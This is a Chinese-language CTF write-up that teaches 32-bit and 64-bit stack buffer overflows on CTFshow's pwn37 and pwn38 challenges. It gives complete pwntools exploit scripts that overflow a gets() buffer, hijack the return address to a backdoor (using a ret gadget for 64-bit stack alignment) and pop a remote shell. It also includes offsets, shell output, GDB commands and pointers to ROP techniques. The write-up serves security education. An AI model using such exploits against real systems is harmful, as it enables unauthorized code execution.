CTFshow PWN入门实战从零掌握32位与64位栈溢出攻击第一次接触CTF PWN题时那种通过几行代码就能控制程序执行流程的兴奋感至今难忘。本文将带你从零开始用Python的pwntools工具包一步步攻破CTFshow的pwn3732位和pwn3864位栈溢出题目。不同于直接给出EXP的教程我们会深入分析每个环节的技术细节让你真正理解攻击原理。1. 环境准备与工具配置在开始实战前需要准备好以下工具和环境Ubuntu 18.04/20.04推荐使用Linux系统进行PWN题开发Python 3.6确保已安装最新版本的PythonpwntoolsPython的漏洞利用开发库IDA Pro用于反编译和分析二进制文件checksec检查程序安全机制的小工具安装pwntools非常简单pip install pwntools配置完成后用checksec检查目标程序的安全机制checksec pwn37 [*] /ctf/pwn37 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)2. pwn3732位栈溢出实战2.1 初步分析首先将pwn37拖入IDA Pro 32位版本进行分析。找到main函数后发现它调用了名为ctfshow的函数int ctfshow() { char buf[10]; // [esp6h] [ebp-12h] return gets(buf); }这里有几个关键信息buf位于ebp-0x12处使用不安全的gets函数读取输入没有栈保护机制No canary计算溢出所需填充量buf到ebp的距离0x12 加上ebp本身的4字节0x12 4 0x16 (22字节)2.2 寻找后门函数在IDA中按ShiftF12查看字符串发现存在/bin/sh。查看交叉引用可以找到后门函数backdoorint backdoor() { return system(/bin/sh); }记下函数地址0x80485212.3 构建EXP32位程序的栈溢出相对简单payload结构为[填充字符][返回地址]完整EXP代码from pwn import * context(log_leveldebug, archi386) p remote(pwn.challenge.ctf.show, 28146) payload bA*(0x12 4) # 填充到返回地址 payload p32(0x8048521) # 后门函数地址 p.sendline(payload) p.interactive()运行后成功获取shell$ id uid1000(ctf) gid1000(ctf) groups1000(ctf) $ cat flag ctfshow{2a2334a0-3e1b-4463-8e90-d1c8876879f9}3. pwn3864位栈溢出实战3.1 64位与32位的差异64位程序的栈溢出有几个关键区别寄存器传参前六个参数通过RDI、RSI、RDX、RCX、R8、R9传递栈对齐要求调用system时RSP必须16字节对齐RBP大小为8字节32位是4字节3.2 分析pwn38用IDA 64位分析pwn38ctfshow函数如下__int64 ctfshow() { char buf[10]; // [rsp0h] [rbp-Ah] return gets(buf); }计算溢出量buf到rbp距离0xA 加上rbp本身8字节0xA 8 0x12 (18字节)同样找到后门函数backdoor地址为0x400657。3.3 处理栈对齐问题直接跳转到backdoor会导致崩溃因为64位程序需要保持栈对齐。我们需要在跳转前先执行一个ret指令来调整栈指针。在IDA中找到合适的gadget.text:000000000040065B retn3.4 构建64位EXPpayload结构为[填充字符][ret地址][后门地址]完整EXP代码from pwn import * context(log_leveldebug, archamd64) p remote(pwn.challenge.ctf.show, 28189) payload bA*(0xA 8) # 填充到返回地址 payload p64(0x40065B) # ret指令地址 payload p64(0x400657) # 后门函数地址 p.sendline(payload) p.interactive()成功获取flag$ cat flag ctfshow{50917378-b683-4623-99dc-c27959399517}4. 调试技巧与常见问题4.1 GDB调试技巧在开发EXP时GDB是不可或缺的调试工具。几个实用命令gdb ./pwn38 b *0x400657 # 在后门函数设断点 r (python3 exp.py) # 运行并输入payload x/20xg $rsp # 查看栈内容4.2 常见错误排查Segmentation Fault检查返回地址是否正确确认栈对齐64位程序无法获取shell检查/bin/sh字符串是否可用确认system函数能正常调用Payload长度问题使用cyclic工具生成测试pattern通过崩溃点计算精确偏移4.3 进阶技巧ROP链构造当没有现成后门时需要构造ROP链泄露地址通过格式化字符串或信息泄露获取libc地址one_gadget使用利用libc中的单gadget获取shell5. 32位与64位栈溢出对比总结特性32位程序64位程序寄存器EBP, ESPRBP, RSP参数传递栈传递寄存器栈传递栈对齐4字节对齐16字节对齐典型payload[填充][返回地址][填充][ret][目标地址]RBP大小4字节8字节在实际CTF比赛中理解这些差异至关重要。建议初学者先从32位题目入手掌握基本原理后再挑战64位题目。